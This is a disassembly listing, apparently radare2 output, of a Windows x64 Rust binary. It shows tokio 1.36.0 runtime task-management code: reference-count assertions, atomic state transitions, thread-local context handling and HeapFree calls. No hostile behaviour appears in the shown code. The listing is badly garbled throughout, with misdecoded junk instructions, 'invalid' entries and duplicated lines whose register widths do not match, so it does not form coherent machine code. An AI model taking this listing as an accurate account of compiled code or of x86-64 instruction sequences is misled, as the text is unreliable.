call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
add esp, 0x30
pop rbx
pop rdi
pop rsi
ret
add eax, 0xe04ff
mov edx, 0x2b
call fcn.1401046f0
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
nop
add rsp, 0x20
pop rsi
ret
add byte [rax - 0x39], cl
and al, 0x50
and al, 0x50
add byte [rax], al
add byte [rax], al
and al, 0x30
push r14
push rsi
push rdi
push rbx
sub rsp, 0x98
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
jmp 0x14006af9a
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006afc5
test al, 4
je 0x14006b5f5
test al, 3
je 0x14006af80
cmp rax, 0x3f
jbe 0x14006b60d
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006af9a
movzx eax, dl
lea rcx, [0x1401746ac]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], rsi
lea rax, [rsp + 0x30]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp byte [rsi + 0xa8], 3
jae 0x14006b625
lea rdi, [rsi + 0x30]
lea edi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je case.0x14009e6a0.71
xorps xmm6, xmm6
test eax, eax
jne 0x14006b08d
test byte [rbp - 0x74a58a40], 5
jnp 0x14006b059
mov eax, dword [0x14017d2b4]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
add dword [rax], eax
add byte [rcx], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
adc byte [rax + 0xf0], dh
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x73], cl
lea edx, [rsp + 0x40]
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.140069cf0
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
or al, 0xca
add byte [rax], al
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
je 0x14006b0ef
test ecx, ecx
jne 0x14006b10b
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
retf 0x8d49
mov ss, eax
add byte [rax], al
add byte [rax], al
retf 0x8d49
add byte [rax], al
lea rdx, [0x1400e46c0]
mov ebx, eax
call fcn.1400d3ad0
mov eax, ebx
mov byte [r14 + 0x120], 1
add byte [rcx], al
add byte [rcx], al
add dword [rbx + 0x1121bf0d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
invalid
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
invalid
add byte [rax - 0x75], cl
or al, 0xca
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006b314
test byte [rcx], al
add al, byte [rax]
invalid
test byte [rcx], al
add al, byte [rax]
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
lea rcx, [0x1401746bc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
mov rdx, rsi
call fcn.1400eb0b0
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
cmp eax, 0x3f
invalid
cmp eax, 0x3f
jbe 0x14006b65d
and rax, 0xffffffffffffffc0
cmp rax, 0x40
cmp eax, 0x40
cmp eax, 0x40
jne case.0x14006b12c.0
lea rcx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006b170
call fcn.140069ba0
mov rcx, rdi
jmp 0x14006b18c
lea rcx, [rsi + 0x20]
call fcn.140069ba0
lea rcx, [rsi + 0x30]
call fcn.14006ab50
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006b1a7
invalid
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov cs, eax
add byte [rax], al
add bh, bh
push rax
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
and byte [rcx], dl
add byte [rcx], dh
sar bh, cl
adc eax, 0xa4246
jmp case.0x14006b12c.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b216
xorps xmm6, xmm6
test eax, eax
jne 0x14006b242
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006ab50
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006b2a9
test eax, eax
jne 0x14006b4d2
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006ab50
mov qword [rsi + 0x30], 1
mov qword [rsi + 0x38], 0
mov qword [rsi + 0x48], rbx
jmp 0x14006b444
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006b355
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006b381
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006ab50
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14017d2b4]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
invalid
and byte [rax], 1
add byte [rax], al
invalid
add byte [rbx + 0x357401f8], al
cmp eax, 1
je 0x14006b3e4
test eax, eax
jne 0x14006b51d
mov eax, dword [0x14017d2b4]
neg dword [rsi]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
rol byte [rax], 1
add byte [rax], al
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov dword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006ab50
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
mov qword [rdi + 0x10], 0
add byte [rax], al
add byte [rax], al
dec dword [rdi]
push rdi
ror byte [rdi], 0x11
invalid
add byte [rax], al
add byte [rax], al
mov byte [rsi + 0xa8], 3
xchg byte [rax + 0x3000000], ch
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
or al, 0x25
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
add al, 0xc1
movzx eax, byte [rax + 0x120]
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006b49b
test eax, eax
jne 0x14006b4b5
invalid
mov r8d, dword [0x14017d2b4]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
invalid
add al, ch
cmp al, 0x86
invalid
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14017d2b4]
adc ebx, dword [rsi]
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
invalid
ror dword [rdi], 0x11
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.14006bd40
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
cwde
add byte [rax], al
add byte [rbx + 0x5f], bl
cwde
add byte [rax], al
add byte [rbx + 0x5f], bl
pop rsi
pop r14
ret
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006b2c7
xorps xmm6, xmm6
test eax, eax
jne 0x14006b2f3
push rdi
test byte [rbp + 0x9850fc0], 0xfe
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006b2c7
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006b402
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006b42e
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
sbb eax, 0x48650011
mov ecx, dword [0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006b402
add byte [rax], al
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov dword [rax + 0xf8], ebx
mov dword [rax + 0xf8], ebx
jmp 0x14006b246
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
or eax, 0x58d4c00
std
hlt
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
add byte [rax], al
test rax, rax
je 0x14006b94e
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
invalid
sbb byte [rbx + rcx*4 + 0x46], cl
clc
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x20]
add rsp, 0x30
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
lea ecx, [rsi + 0x30]
call fcn.14006ab50
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x14006ba06
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
add rsp, 0x20
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
mov dword [rsi + 8], 0x12
or ecx, 4
mov dword [rsi + 0x34], ecx
mov r8d, 0x81
mov rdx, rax
mov edx, eax
mov edx, eax
nop word cs:[rax + rax]
mov rcx, r8
shr rdx, 4
mov r8d, eax
mov eax, eax
mov eax, eax
and r8b, 0xf
lea r9d, [r8 + 0x30]
lea r10d, [r8 + 0x57]
cmp r8b, 0xa
movzx r8d, r9b
movzx eax, cl
movzx r9d, r10b
cmovb r9d, r8d
mov byte [rsp + rcx + 0x2e], r9b
lea r8, [rcx - 1]
cmp rax, 0x10
mov rax, rdx
jae 0x14006c4f0
add rcx, 0xfffffffffffffffe
cmp rcx, 0x81
jae 0x14006c57e
mov eax, 0x81
sub rax, r8
add rcx, rsp
add rcx, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r8, [0x14016ee80]
mov r9d, 2
add byte [rax], al
add byte [rax - 0x77], cl
int1
add byte [rax], al
add byte [rax - 0x77], cl
int1
mov dl, 1
call fcn.140012db0
movdqu xmmword [rsi], xmm6
mov dword [rsi + 0x34], edi
movaps xmm6, xmmword [rsp + 0xb0]
mov al, 0
add byte [rax], al
mov al, 0
add byte [rax], al
add rsp, 0xc8
pop rdi
pop rsi
ret
lea r8, [0x1401111f8]
mov edx, 0x80
call fcn.140104660
int3
mov eax, dword [rcx]
jmp 0x14006c5ca
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006c5f5
test al, 4
je 0x14006cc3f
test al, 3
je 0x14006c5b0
cmp rax, 0x3f
jbe 0x14006cc57
clc
invalid
lea rcx, [rax - 0x40]
cmp rcx, 0x40
setb dl
or dl, 2
lock cmpxchg qword [rsi], rcx
jne 0x14006c5ca
movzx eax, dl
lea rcx, [0x1401746cc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
lea rax, [0x14014ae78]
mov qword [rsp + 0x30], rax
xor byte [rax - 0x77], cl
je 0x14006c63c
cmp byte [rax - 0x73], cl
and al, 0x30
xor byte [rax - 0x77], cl
je 0x14006c63c
cmp byte [rax - 0x73], cl
and al, 0x30
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], rax
cmp qword [rsi + 0x30], 0xb
cmp qword [rsi + 0x30], 0xb
jae 0x14006cc6f
lea rdi, [rsi + 0x30]
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
add eax, 0x110c74
add eax, 0x110c74
je 0x14006c64a
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov eax, dword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c68e
xorps xmm6, xmm6
test eax, eax
jne 0x14006c6ba
mov eax, dword [0x14017d2b4]
add eax, 0x110c4e
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
xor al, 0xc1
xor al, 0xc1
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
mov ss, eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x7803f
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x3a], al
xchg byte [rax], ah
and byte [rcx], al
add byte [rax], al
invalid
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x110c2005], ecx
add byte [rbp + 0x48], ah
mov ecx, dword [0x58]
pop rax
add byte [rax], al
add byte [rax], al
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
add byte [rax], al
pop rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
lea rdx, [rsp + 0x40]
lea edx, [rsp + 0x40]
mov rcx, rdi
call fcn.14006c090
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov edx, dword [0x58]
mov edx, dword [0x58]
mov rcx, qword [rdx + rcx*8]
movzx ecx, byte [rcx + 0x120]
cmp ecx, 1
invalid
je 0x14006c71c
add dword [rsi + rsi - 0x7b], esi
leave
test ecx, ecx
jne 0x14006c738
mov r9, qword [0x14017d2b4]
mov ecx, dword [0x14017d2b4]
or eax, 0x110bc4
mov rdx, qword gs:[0x58]
mov r14, qword [rdx + rcx*8]
xor al, 0xca
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x77fb5
mov ebx, eax
call fcn.1400d3ad0
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
invalid
add byte [rcx - 0x7939be28], cl
and byte [rcx], al
add byte [rax], al
add dword [rbx + 0x110b920d], ecx
add byte [rbp + 0x48], ah
mov edx, dword [0x58]
mov ecx, dword [0x14017d2b4]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
movups xmmword [rcx + 0xf0], xmm6
mov cl, 1
test al, al
je 0x14006c951
ror byte [rdi], 0x84
adc dword [rdx], eax
add byte [rax], al
mov rcx, rsi
call fcn.1400e7430
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
lea rcx, [0x1401746dc]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rsi + 0x20]
add rcx, 0x10
mov rdx, rsi
mov r8b, 1
call fcn.1400eca20
mov rax, 0xffffffffffffffc0
lock xadd qword [rsi], rax
invalid
cmp rax, 0x3f
jbe 0x14006cca7
invalid
and rax, 0xffffffffffffffc0
cmp rax, 0x40
jne case.0x14006c759.0
lea rcx, [rsi + 0x20]
lea ecx, [rsi + 0x20]
mov rax, qword [rcx]
lock dec qword [rax]
jne 0x14006c7a4
call fcn.140068e50
dec dword [rax - 0x77]
stc
mov rcx, rdi
jmp 0x14006c7c0
lea rcx, [rsi + 0x20]
call fcn.140068e50
lea rcx, [rsi + 0x30]
call fcn.14006d390
add byte [rax], al
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14006c7db
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp case.0x14006c759.0
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c84a
xorps xmm6, xmm6
test eax, eax
jne 0x14006c876
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rdi
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.14006d390
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006c8de
test eax, eax
jne 0x14006cb11
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006d390
mov qword [rsi + 0x30], 0xb
mov qword [rsi + 0x38], 1
mov qword [rsi + 0x40], 0
mov qword [rsi + 0x50], rbx
jmp 0x14006ca8a
mov rbx, qword [rsi + 0x28]
cmp cl, 1
je 0x14006c992
movzx eax, cl
xorps xmm6, xmm6
test eax, eax
jne 0x14006c9be
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov qword [rax + 0xf0], 1
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
cwde
clc
add byte [rax], al
add byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14006d390
add byte [rax], al
mov qword [rdi], 0xc
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
pop rax
add byte [rax], al
invalid
invalid
pop rax
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rcx + rax*8]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14006ca21
test eax, eax
jne 0x14006cb5c
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [rbx + 0x120], 1
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rbx, qword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov ebx, dword [rsi + 0x28]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf0]
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
mov al, 0xf0
add byte [rax], al
add byte [rax - 0x39], cl
xor al, 0
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rax + 0xf8], rbx
mov rcx, rdi
mov qword [rax + 0xf8], rbx
mov rcx, rdi
call fcn.14006d390
mov qword [rsi + 0x30], 0xb
xorps xmm0, xmm0
movups xmmword [rsi + 0x38], xmm0
mov qword [rsi + 0x48], 0
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + 0x11082405], cl
and al, 8
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov eax, dword [0x14017d2b4]
and al, 8
adc dword [rax], eax
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
ror dword [rdi], 0xb6
and byte [rax], 1
add byte [rax], al
cmp eax, 1
je 0x14006cada
test eax, eax
jne 0x14006caf4
invalid
mov r8d, dword [0x14017d2b4]
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd0]
lea rdx, [0x1400e46c0]
invalid
add al, ch
std
outsd dx, dword [rsi]
invalid
add dh, al
xchg dword [rax], esp
add dword [rax], eax
add byte [rcx], al
invalid
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rax], al
add byte [rax], al
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf0], xmm6
mov rcx, rsi
call fcn.14006d480
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x98
pop rbx
pop rdi
pop rsi
pop r14
ret
and al, 0x80
add byte [rax], al
add byte [rax - 0x7f], cl
invalid
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006c8fc
xorps xmm6, xmm6
test eax, eax
jne 0x14006c928
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jnp 0x14006cb50
add al, ch
sub dword [rdi + 6], 0x86c64100
and byte [rcx], al
add byte [rax], al
add ecx, ebp
jmp 0x14006c8fc
mov rbx, qword [rsi + 0x28]
cmp eax, 1
invalid
test dh, dl
invalid
mov byte [rsi + 0x120], 1
jmp 0x14006c8fc
mov rbx, qword [rsi + 0x28]
cmp eax, 1
je 0x14006ca3f
invalid
invalid
invalid
xorps xmm6, xmm6
test eax, eax
jne 0x14006ca6b
mov eax, dword [0x14017d2b4]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
lea rdx, [0x1400e46c0]
call fcn.1400d3ad0
mov byte [r14 + 0x120], 1
jmp 0x14006ca3f
lea rcx, str.assertion_failed:_next.is_notified__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_task_state.rs
lea r8, [0x14014ab00]
mov edx, 0x24
call fcn.1401046f0
lea rcx, str.assertion_failed:_self.ref_count_____0
lea r8, [0x14014ae60]
mov edx, 0x26
call fcn.1401046f0
lea rax, str.internal_error:_entered_unreachable_code:_unexpected_stage
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x58], 1
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x68], xmm0
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x50]
call fcn.140104620
lea rcx, str.assertion_failed:_prev.ref_count_____1
lea r8, [0x14014ad98]
mov edx, 0x27
call fcn.1401046f0
int3
or eax, 0x58d4c00
out 0xd4, eax
or eax, 0x23ba00
add byte [rax], al
lea ecx, str.assertion_failed:__prev.is_complete__
jo 0x14006d6c3
add byte [rax - 0x77], cl
and al, 0x28
and al, 0x28
adc eax, 0xdd4eb
and al, 0x30
int3
cwde
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x80], esi
mov rsi, rcx
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
jmp 0x14006d7aa
mov rcx, rax
and rcx, 0xfffffffffffffff8
or rcx, 1
or ecx, 1
or ecx, 1
mov edx, eax
shr dl, 5
and dl, 1
lock cmpxchg qword [rsi], rcx
je 0x14006d7d5
test al, 4
je 0x14006de18
test al, 3
je 0x14006d790
cmp rax, 0x3f
